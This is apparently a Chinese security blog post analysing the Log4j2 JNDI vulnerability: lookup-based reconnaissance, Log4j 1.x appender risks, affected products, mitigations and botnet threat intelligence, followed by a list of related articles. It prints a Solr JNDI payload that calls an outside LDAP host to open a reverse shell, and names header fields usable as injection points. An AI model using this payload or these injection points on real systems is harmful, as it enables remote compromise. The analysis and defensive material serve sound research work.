虽然除了 JNDI 之外的核心包里的 Lookup 不能直接用来执行恶意代码,但是可以获取系统信息、环境变量、属性配置、JVM参数等等信息,这些信息可以被攻击者用来进行下一步的攻击。

例如使用 ${hostName}、${env:USERDOMAIN}、${env:COMPUTERNAME} 配合 dnslog 快速定位受影响机器进行修复。

Appenders

Appenders 是 Log4j2 提供的特性之一,通俗来说,就是用来将日志“附加”输出到其他位置。

通过官方文档可以看到,目前支持了 Async、Cassandra、Console、Failover、File、Flume、JDBC、JMS、JPA、Http、Kafka、MemoryMappedFile、NoSQL、NoSQL、MongoDB、MongoDB 3、MongoDB 4、CouchDB、OutputStream、RandomAccessFile、Rewrite、RollingFile、RollingRandomAccessFile、Routing、SMTP、Socket、Syslog 等数十种日志输出位置。

其中包括了多种网络通信协议、多种数据存储方式以及多种不同类型的数据交换操作,也就是说,Log4j2 自身通过诸多 Appenders 提供了非常多的操作,并使用对应的 org.apache.logging.log4j.core.appender.AbstractManager 的实现类来进行此项操作,例如 HttpManager 会发送 http 请求,FileManager 会写入文件等等,而这些 “Manager” 在调用不当时将会产生安全风险。

在本次漏洞中没有直接使用 Appenders 来参与漏洞调用链,但在涉及到 Log4j 1.x 版本是否会受到影响的讨论时,有人提出由于 Appenders 特性的存在会导致 Log4j 1.x 版本也是潜在的风险版本,这一点下一节影响范围中将会详述。

0x04 影响范围

根据各大公众号、群聊、小道消息、各位师傅分享等消息来源途径,本次漏洞可能影响 Apache Struts2、Apache Solr、Apache Druid、Apache Flink、ElasticSearch、VCenter 等等产品,甚至影响到了 Log4j 1.x 版本,接下来我们来分析一下本次漏洞影响组件的实际情况。

首先可以通过在 maven 仓库中搜索引用的方式来查找引用,例如:https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1

火线平台也上线了Apache Log4j2 漏洞影响面查询,可以用来查询风险组件。

在 Gist 上也存在一个共同维护的项目,列举了一些受到威胁的组件及版本。

接下来分析和测试一些比较受关注的组件。

Log4j 1.x

在漏洞刚刚爆发出来了的时候,看到有人说 Log4j 1.x 版本也能受到影响,但是 Log4j 还没支持 Lookup 功能,为什么会受到此漏洞的影响的?

答案是之前提到的 Appenders,以 1.2.17 版本为例,Log4j 支持 18 种 Appenders(第一个是抽象类),其中就包括了 JMS Appender。

在 Log4j 中,由 org.apache.log4j.net.JMSAppender 直接提供 JNDI 的查询功能。

this.lookup 方法直接调用 Context 对象的 lookup 方法,触发查询功能。

可以看到,Log4j 1.x 版本还是有执行 JNDI 查询的能力的,但触发点呢?由于其并不是解析用户日志消息,所以 Appenders 的触发点只能是配置文件。

也就是说,如果配置文件可控,攻击者将其修改连接恶意的 JNDI 服务器,再调用 appender 时即可触发攻击。

由于攻击链路条件限制较高,所以我认为其不能算是受到影响,甚至连“风险”都算不上,只能说是特殊场景下的一种攻击链路而已,而且现在 Log4j 已经作为一个过时的项目,不再维护,所以只要是正常使用的用户,本质上不会受到本次 Log4j2 漏洞影响。

漏洞复现截图:

既然能控制配置文件,那攻击思路就不止局限于 JMS Appender,也可以使用 JDBC 等其他 Appenders 尝试触发攻击,在作者发表文章之前,p4nda 师傅已经将其对于 Log4j 受影响情况的研究发了出来,里面的配置和示例比较详细,可以移步观看。

同 Log4j,threedr3am 师傅指出,Log4j2 对于配置文件中的变量解析也是可以触发漏洞。

这是由于 Log4j2 读取配置文件中的内容不会经过判断,直接调用进入替换 lookup 逻辑,在低版本中可以直接触发,在高版本中需要经过校验。

SpringBoot

默认情况下,Spring Boot 会用 Logback 来记录日志,并用 INFO 级别输出到控制台。也就是说,虽然包含了 Log4j2 的 jar 包,但是如果没有配置调用,是不会受到危害的。

但如果将日志框架修改为 Log4j2,则会受到此漏洞的影响,例如将配置文件改为如下格式:

1< dependencies>

2< dependency>

3< groupId> org.springframework.boot </ groupId>

4< artifactId> spring-boot-starter-web </ artifactId>

5< exclusions>

6< exclusion>

7< groupId> org.springframework.boot </ groupId>

8< artifactId> spring-boot-starter-logging </ artifactId>

9</ exclusion>

10</ exclusions>

11</ dependency>

12< dependency>

13< groupId> org.springframework.boot </ groupId>

14< artifactId> spring-boot-starter-log4j2 </ artifactId>

15< version> 2.6.1 </ version>

16</ dependency>

17</ dependencies>

漏洞复现截图

Apache Struts2

Apache Struts2 使用了 Log4j2 作为日志组件,并且默认的日志等级为 Info,在目前官方最新的 showcase 2.5.28 版本中,引用了 2.12.1 的 log4j-core 以及 log4j-api 组件,是包含漏洞的版本,所以 Struts2 也在此次受影响的范围之内。

只需要找到在解析和处理请求时触发的异常以及日志记录位置并构造即可。整个 Struts2 的请求解析流程在我的前文Struts2 系列漏洞调试总结中有详细介绍,只要跟随调用找点即可,想挖洞的师傅可以自行跟随一下。

在且听安全公众号发文中,披露了一处利用 If-Modified-Since header 解析异常调用 LOG.warn 方法触发的姿势,漏洞复现如下:

Apache Solr

Apache Solr 是 Apache Lucene 项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本(如 Word、PDF)的处理。当然也是此次漏洞的受害者。

Apache Solr 的 POC 都已经传遍了世界,如下:

1/solr/admin/collections?action=${ jndi:ldap:/ /xxx/Basic/ReverseShell/ip/ 9999}&wt=json

当然入口点也肯定不止这一个,挖掘思路与 Struts2 类似,只需要找到点就可以了。

Elasticsearch

根据 Elasticsearch 在官方论坛里发布的公告,Elasticsearch 5.0.0+ 版本包含了带有漏洞版本的 Log4j2 包,但由于其使用了 Java Security Manager,减轻了受到的危害。

phith0n 师傅在知识星球上发布了其研究成果,经其实测发现,写入操作一般会写日志。并给出测试时 dnslog 的截图。

在 B 站上,也有一位名为杰锐朱的 UP 主发布了相关的 DEBUG 及分析,链接在这里。关于相关的细节,这位 UP 主的介绍以及足够,这里就不再重复,师傅们可以自行跟调。

总体来说,在漏洞存在的版本,存在 Lookup 渲染的功能,可以配合 dnslog 进行测试,但由于 SM 的介入,使用 ldap 执行远程恶意类时会由于权限不足而抛出异常,因此大大减轻的实际受到的攻击威胁。

提到 ES,那顺便也提一下本家的 logstash,logstash 也受到本次漏洞的危害,并在漏洞爆发后更新了 Log4j2 的版本。在 Twitter 上有老外发出截图展示其脆弱性:

vmware 产品线

根据 VMware 的官方安全通告,包括 vCenter 在内的多个产品均受到了此次安全漏洞的影响,并且提供了受影响产品的环境的版本号。

以下为启明星辰 ADLab 在其公众号文章中发布的 2 张复现截图。

而在 Twitter 上也流传出使用 X-Forwarded-For 配置为 POC 触发漏洞攻击 VCenter 的信息。

其他

其他受影响组件还有很多很多,这里只列举了大家讨论和关心较多的几个,大家可以根据上面的几个查询连接信息查找,并自行探究利用方式。

这里墨菲安全实验室也发布了本次 Log4j2 供应链级别分析,文章在这里。

0x05 修复和防御

随着漏洞细节、姿势的不断披露,各个安全厂商和从业者发布了若干漏洞修复的建议和手段,部分公司和团队还发布了针对本次漏洞防御的小工具、项目用来缓解和免疫相关攻击。那么哪些修复效果是有效的呢?最好的修复方式是那种呢?

修复建议

由于大多数公众号给出的修复措施均为复制粘贴的,这里就整理的较全的奇安信威胁情报中心的文章中的修复建议进行探索。

在这些修复建议里,存在的问题是:

1- 在 jvm 参数、配置、环境系统变量中设置 nolookups:关闭 lookup 功能,但是只限版本 > 2.10,低版本不生效。

2- 更新 jdk 版本:借助 JEP 290及其他安全特性来降低风险,只能说是一种思路,治标不治本

3- 限制外连:可行,但也要看业务情况

4- 移除包中的 JndiLookup class:可行

5- 禁用 JNDI :可行

6- 其他防御措施:WAF/RASP,确保防御逻辑是正确的。

关于修复建议,在360安全忍者的星球文章中有较为详细的讨论,提到了在不同业务场景下,不能盲目使用网上提供的环境变量修复参数进行“一刀切”,而且要考虑不同版本不同需求情况下的安全可落地的解决方案。

与此同时,很多团队和公司给出了自己缓解措施解决方案,下面随便列举几个发在 Github 上的:

1- https: //github.com/javasec/log4j-patch

2- https: //github.com/chaitin/log4j2-vaccine

3- https: //github.com/qingtengyun/cve-2021-44228-qingteng-online-patch

4- https: //github.com/Cybereason/Logout4Shell

5- ...

这里有删除关键类的、javaagent 技术的、甚至以洞打洞以洞修洞的,对于以上项目作者没有亲自使用过,各位自行测试。

真正的安全建议

截止到目前发文时间,根据上述知识,我这里给出修复建议:

1-如果在记录日志时动态使用到了 lookup特性,建议更新到 2 .15.0-rc2安全版本,并确认不开启 JNDILookup功能;

2-如果确认没有在记录日志时动态解析 lookup及替换,建议更新到 2 .16.0-rc1最新版本,此版本移除了对记录日志的 lookup支持。

若由于各种原因无法更新依赖库版本,则建议:

1- 删除依赖库中对应的 jndi lookup 类的 class文件,在程序无法找到对应类时,将不会进行加载。

2- 使用 RASP 技术进行安全防御。

由于本漏洞影响巨大,建议要求开发人员了解漏洞原理,重复确认自己的配置。

对于出现在开源项目、框架、组件中受到影响的情况,建议积极关注各个官方给出的安全通告及安全更新,并在修复期间使用其他类型的防御手段减轻受到攻击的可能性。

如果你是安全从业人员,建议你确认你的修复方案是稳定、通用、有效的,再给到客户。

威胁情报

项目里提供了 Snort、Suricata、IOC、IP 等威胁情报供安防人员使用。

此漏洞由于受灾面广,很容易被用来作为蠕虫病毒的传播,更是被人称为黑产者的狂欢,作为防御人员,也应结合相关威胁情报进行防御。

根据 360 Netlab 以及深信服威胁情报团队给出的威胁情报及云端检测数据,目前该漏洞已被多个黑产组织武器化,添加到自身的武器库中以发起网络攻击,并且捕获到 H2Miner、Mirai、Muhstik、Z0Miner 等数十个病毒家族都已使用此漏洞进行攻击。

根据 360 Netlab 的分析,目前 log4j2 漏洞已经被用来组建 botnet,主要针对 Linux。随后 360 Netlab 又发布了第二篇分析,利用其全球的节点,分析了攻击分布、攻击IP溯源、样本及Botnet家族,并给出了部分攻击源IP。

根据千里目安全实验室给出的Log4j2黑产分析报告,这里从中截取了几个病毒家族的攻击流程分析:

以下为 Mirai 僵尸网络整体攻击流程:

以下为 H2Miner 挖矿木马整体攻击流程:

以下为 Muhstik 僵尸网络整体攻击流程:

可以看到,病毒使用 log4j2 漏洞作为入口,借助执行任意代码的能力,进行进一步的内网攻击或挖矿等操作,可以预知的是,将有越来越多的蠕虫及病毒使用 log4j2 漏洞进行攻击和传播。

此外,根据 Cado Security 的消息,已经有结合 log4j2 及勒索病毒的攻击链路出现,新型勒索软件 Khonsari 借助 log4j2 的影响力来进行带有文件加密及勒索行为的攻击。

可以确定的是,在未来几年内,将会有诸多黑产从业者使用本次 log4j2 漏洞作为攻击入口,企业和信息系统拥有者应该及时更新并持续关注此漏洞的后续信息。

0x06 感触

本次漏洞对业内影响巨大,有一点感触:

希望安全从业人员以及安全厂商在发文时,能小心求证,用技术说话,不要为了求速度、抢热度而复制粘贴,在没有测试、求证、实践的情况下发布信息、解决方案等,这都是不负责任的体现,作为大厂,应该有责任和担当;

开发人员的安全意识不够时,写出来的漏洞危害将会是巨大的,这不能只依赖安全从业人员来通报漏洞,在开发各个环节中的安全都应该落地,DevSecOps 不能只图一乐;

据说这个漏洞是使用 codeql 发现的,此条消息我没有求证,但无论如何,自动化漏洞挖掘的技术都应该加速发展,在这种级别的漏洞被提出之前能快速内部发现,避免造成危害。

Log4j2漏洞发展历程及解决方案相关推荐

  1. 容器安全技术容器发展历程

    前言 容器技术通过共享主机操作系统内核,实现轻量的资源虚拟化 和隔离,近年 来在DevOps.微服务等领域有着广泛的应用.然而在容器技术被广泛接受和使用的同时,容器以及容器运行环境的安全成 为了亟待研 ...

  2. 第一章:ORM框架发展历程和MyBatis的核心应用

    ORM框架的发展历史与MyBatis的高级应用 一.ORM框架的发展历程 1. JDBC操作 1.1 JDBC操作的特点 最初的时候我们肯定是直接通过jdbc来直接操作数据库的,本地数据库我们有一张t ...

  3. 【超分辨率】从SRCNN到EDSR,总结深度学习端到端超分辨率方法发展历程

    此文转自 知乎专栏 棉花糖的工坊 作者 棉花糖 (侵删) 一直在学习图像超分辨率和深度学习,看到此文写得很好,故此转载分享.如有侵权,私信联系我,我将作删除. 超分辨率技术(Super-Resolut ...

  4. 靶场外传丨迎头赶上or弯道超车?中国网络靶场发展历程研读

    从爱因斯坦计划到网络曼哈顿计划,全球网络靶场的发展历程折射出网络安全发展的趋势,从对设备.系统的仿真构建与安全性研究开始,逐步发展为在国防.科研.经济领域的关键系统.全球网络靶场经过14年的发展,已经 ...

  5. 数学无穷思想的发展历程

    引言 无穷作为一个极富迷人魅力的词汇,长期以来就深深激动着人们的心灵.彻底弄清这一概念的实质成为维护人类智力尊严的一种需要.而数学是"研究无限的学科",因此数学就责无旁贷地担当起征 ...

  6. 百度PHP高级顾问惠新宸:PHP在百度的发展历程

    惠新宸,百度PHP高级顾问,年二十有八,好追根究底,有不良嗜好, 幸性本善.乙酉年识互联网,丁亥年入雅虎,翌年入百度.虽性好安稳,然经变无数,唯常叹"人生,菠菜汤尔". 大家好,今 ...

  7. JavaScript异步调用的发展历程

    同步与异步 通常,代码是由上而下依次执行的.如果有多个任务,就必须排队,前一个任务完成,后一个任务才能执行.这种连续的执行模式就叫做同步. a(); b(); c(); 复制代码 上面代码中,a.b. ...

  8. 细说JavaScript异步函数发展历程

    2019独角兽企业重金招聘Python工程师标准>>> < The Evolution of Asynchronous JavaScript >外文梳理了JavaScri ...

  9. node windows更新_node.js 01 简介 - 产生,发展历程,优势,适用场景,实际应用

    node.js是什么 上面是来自于node.js 官网 (https://nodejs.org)的介绍.翻译过来,意思是node.js 基于JavaScript, 需要运行在Chrome V8 的 J ...

最新文章

  1. AutoML初创公司探智立方:模型的物竞天择与适者生存
  2. C++构造函数和析构函数调用虚函数时都不会使用动态联编
  3. 成都七中实验学校爆食品安全问题,互联网+后勤能做点什么吗?
  4. POJ 3694 Network ★(边双连通分量+并查集缩点+LCA)
  5. 浮点数的表示和基本运算 【转载】
  6. 河北2018年职称计算机开始,2018河北职称计算机考试操作题答案(8页)-原创力文档...
  7. 92030302随堂笔记 c# 1614675886
  8. linux多个svn仓库权限管理,svn建立仓库而且设置用户的权限
  9. Bridging legacy APIs 桥接遗留API
  10. ObjectARX_AutoCAD创建矩形功能实现
  11. in use 大学英语4word_(完整word版)全新版大学英语第四册综合教程课后翻译答案及课文译文...
  12. 自制Tableau数据看板示例
  13. 二元二次方程例题_二元二次方程的解法 二元二次方程例题
  14. amr文件怎么转换成mp3
  15. 20170603学习笔记整理
  16. 1058. 选择题(20)-PAT乙级真题
  17. 诗词人生220116
  18. Windows预览体验计划空白等一些问题的解决办法
  19. 几个贝叶斯估计的例题
  20. Gstreamer说明

热门文章

  1. (连载)Android 8.0 : 系统启动流程之Linux内核
  2. The Sandbox 与《足球小将》达成合作,将流行的足球漫画及动画带入元宇宙
  3. 数据库设计-多级栏目(标题)分类设计
  4. 重磅!Waymo首席执行官离职,自动驾驶商业化打上“问号”
  5. mp4 转 m3u8 java_java下载m3u8转ts合成mp4
  6. 学习如何使用电脑客户端和ESP8266客户端来连接MQTT服务端以及订阅主题发送主题操作
  7. 婴儿监护物联网系统设计系统源码开放
  8. 浅谈音乐与计算机,浅析电脑音乐在音乐教育中的应用
  9. mysql 自动截断_MySql中关于超长自动截断的案例详解
  10. php ic卡,IC卡的数据结构认识